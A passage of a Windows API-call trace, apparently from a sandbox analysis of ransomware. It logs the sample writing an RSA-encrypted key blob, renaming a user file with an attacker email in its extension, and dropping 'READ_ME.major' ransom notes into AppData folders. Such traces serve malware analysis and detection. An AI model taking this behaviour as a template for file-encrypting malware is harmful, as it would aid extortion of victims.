out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.985] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="z/GIMqG1wQWVSZYL0fxYRf/WyVEdDxEqSDq3NRLRQC3CjH6La6YdV3bzpQG6vUU7\nK2ueSfFUJWYjNEEFK3IHmwcyLhWk4MjOoWRDSYzka6wyzdE2KXiR/REIVBewJ/2T\nToBEprPuRvM6H6WZ1LN/zilkvENOGMv/bjueQexNJ2cVIdpRuXuEi75WWLvIY/vp\nTOu7ZuDtGtUtXX5IZIuT372+5OQ6GJha8axNiFEEB/14b7tFnGkgKWrUD+qdSNnz\nhjuhffqr09ybd3UrKydMqMy2z/cFnmYeCYiuk6C+5OcPrSvUORQYczw6QciaJW/o\nWfRJLfMVLChA1rZ2GkTdbg==\n", pcchString=0x2e3f9a8) returned 1 [0154.985] WriteFile (in: hFile=0x6a0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.985] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.985] WriteFile (in: hFile=0x6a0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.985] CloseHandle (hObject=0x6a0) returned 1 [0154.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.985] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\IconCache.db.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0154.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1068 | out: hHeap=0x570000) returned 1 [0154.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecd0 | out: hHeap=0x570000) returned 1 [0154.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee70 | out: hHeap=0x570000) returned 1 [0154.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be6e0 [0154.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0154.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0154.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0154.997] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x15c0d8f5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6316c0 [0154.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0154.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0154.997] GetLastError () returned 0x0 [0154.997] SetLastError (dwErrCode=0x0) [0154.997] GetLastError () returned 0x0 [0154.997] SetLastError (dwErrCode=0x0) [0154.997] GetLastError () returned 0x0 [0154.997] SetLastError (dwErrCode=0x0) [0154.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0154.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bebb0 [0154.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0154.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0154.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631840 [0154.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631840 | out: hHeap=0x570000) returned 1 [0154.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40540 [0154.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40540 | out: hHeap=0x570000) returned 1 [0154.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0154.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0154.997] FindNextFileW (in: hFindFile=0x6316c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x15c0d8f5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0154.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0154.998] GetLastError () returned 0x0 [0154.998] SetLastError (dwErrCode=0x0) [0154.998] GetLastError () returned 0x0 [0154.998] SetLastError (dwErrCode=0x0) [0154.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0154.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0154.998] GetLastError () returned 0x0 [0154.998] SetLastError (dwErrCode=0x0) [0154.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0154.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be7e8 [0154.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0154.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1130 [0154.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631380 [0154.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631380 | out: hHeap=0x570000) returned 1 [0154.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405b8 [0154.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405b8 | out: hHeap=0x570000) returned 1 [0154.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1130 | out: hHeap=0x570000) returned 1 [0154.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0154.998] FindNextFileW (in: hFindFile=0x6316c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Adobe", cAlternateFileName="")) returned 1 [0154.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0154.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0154.998] GetLastError () returned 0x0 [0154.998] SetLastError (dwErrCode=0x0) [0154.998] GetLastError () returned 0x0 [0154.998] SetLastError (dwErrCode=0x0) [0154.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0154.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0154.999] GetLastError () returned 0x0 [0154.999] SetLastError (dwErrCode=0x0) [0154.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bec60 [0154.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1270 [0154.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be528 [0154.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0154.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1e0 [0154.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0154.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0154.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0154.999] GetLastError () returned 0x0 [0154.999] SetLastError (dwErrCode=0x0) [0154.999] GetLastError () returned 0x0 [0154.999] SetLastError (dwErrCode=0x0) [0154.999] GetLastError () returned 0x0 [0154.999] SetLastError (dwErrCode=0x0) [0154.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdc40 [0154.999] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a4 [0155.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc40 | out: hHeap=0x570000) returned 1 [0155.000] WriteFile (in: hFile=0x6a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0155.001] CloseHandle (hObject=0x6a4) returned 1 [0155.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1e0 | out: hHeap=0x570000) returned 1 [0155.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0155.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be528 | out: hHeap=0x570000) returned 1 [0155.002] FindNextFileW (in: hFindFile=0x6316c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x63cde605, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x63cde605, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0155.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0155.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0155.002] GetLastError () returned 0x0 [0155.002] SetLastError (dwErrCode=0x0) [0155.002] GetLastError () returned 0x0 [0155.002] SetLastError (dwErrCode=0x0) [0155.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0155.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0155.002] GetLastError () returned 0x0 [0155.002] SetLastError (dwErrCode=0x0) [0155.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1068 [0155.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10e0 [0155.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1068 | out: hHeap=0x570000) returned 1 [0155.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10e0 | out: hHeap=0x570000) returned 1 [0155.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0155.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11d0 [0155.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be630 [0155.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0155.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1180 [0155.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11a8 [0155.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631140 [0155.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631140 | out: hHeap=0x570000) returned 1 [0155.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0155.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0155.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0155.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1180 | out: hHeap=0x570000) returned 1 [0155.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11d0 | out: hHeap=0x570000) returned 1 [0155.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.003] FindNextFileW (in: hFindFile=0x6316c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7275453, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7275453, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0155.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0155.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0155.003] GetLastError () returned 0x0 [0155.003] SetLastError (dwErrCode=0x0) [0155.003] GetLastError () returned 0x0 [0155.003] SetLastError (dwErrCode=0x0) [0155.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0155.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0155.003] GetLastError () returned 0x0 [0155.003] SetLastError (dwErrCode=0x0) [0155.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be9a0 [0155.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1108 [0155.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be948 [0155.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0155.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0155.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0155.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0155.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0155.004] GetLastError () returned 0x0 [0155.004] SetLastError (dwErrCode=0x0) [0155.004] GetLastError () returned 0x0 [0155.004] SetLastError (dwErrCode=0x0) [0155.004] GetLastError () returned 0x0 [0155.004] SetLastError (dwErrCode=0x0) [0155.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0155.004] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Mozilla\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\mozilla\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a4 [0155.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0155.005] WriteFile (in: hFile=0x6a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0155.006] CloseHandle (hObject=0x6a4) returned 1 [0155.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0155.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0155.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0155.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0155.007] FindNextFileW (in: hFindFile=0x6316c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x15c0d8f5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15c0d8f5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15c0d8f5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0155.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0155.007] GetLastError () returned 0x0 [0155.007] SetLastError (dwErrCode=0x0) [0155.007] GetLastError () returned 0x0 [0155.007] SetLastError (dwErrCode=0x0) [0155.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0155.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0155.007] GetLastError () returned 0x0 [0155.007] SetLastError (dwErrCode=0x0) [0155.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1040 [0155.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1040 | out: hHeap=0x570000) returned 1 [0155.007] FindNextFileW (in: hFindFile=0x6316c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Sun", cAlternateFileName="")) returned 1 [0155.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0155.007] GetLastError () returned 0x0 [0155.007] SetLastError (dwErrCode=0x0) [0155.007] GetLastError () returned 0x0 [0155.007] SetLastError (dwErrCode=0x0) [0155.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0155.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0155.007] GetLastError () returned 0x0 [0155.008] SetLastError (dwErrCode=0x0) [0155.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be898 [0155.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10e0 [0155.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be948 [0155.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0155.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0155.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0155.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0155.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0155.008] GetLastError () returned 0x0 [0155.008] SetLastError (dwErrCode=0x0) [0155.008] GetLastError () returned 0x0 [0155.008] SetLastError (dwErrCode=0x0) [0155.008] GetLastError () returned 0x0 [0155.008] SetLastError (dwErrCode=0x0) [0155.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0155.008] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a4 [0155.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0155.010] WriteFile (in: hFile=0x6a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0155.011] CloseHandle (hObject=0x6a4) returned 1 [0155.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0155.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0155.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0155.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0155.011] FindNextFileW (in: hFindFile=0x6316c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Sun", cAlternateFileName="")) returned 0 [0155.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0155.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be6e0 | out: hHeap=0x570000) returned 1 [0155.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0155.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0155.011] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631180 [0155.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0155.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0155.012] GetLastError () returned 0x12 [0155.012] SetLastError (dwErrCode=0x12) [0155.012] GetLastError () returned 0x12 [0155.012] SetLastError (dwErrCode=0x12) [0155.012] GetLastError () returned 0x12 [0155.012] SetLastError (dwErrCode=0x12) [0155.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0155.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0155.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0155.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1180 [0155.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631840 [0155.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631840 | out: hHeap=0x570000) returned 1 [0155.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0155.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0155.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1180 | out: hHeap=0x570000) returned 1 [0155.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4128 | out: hHeap=0x570000) returned 1 [0155.012] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0155.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0155.012] 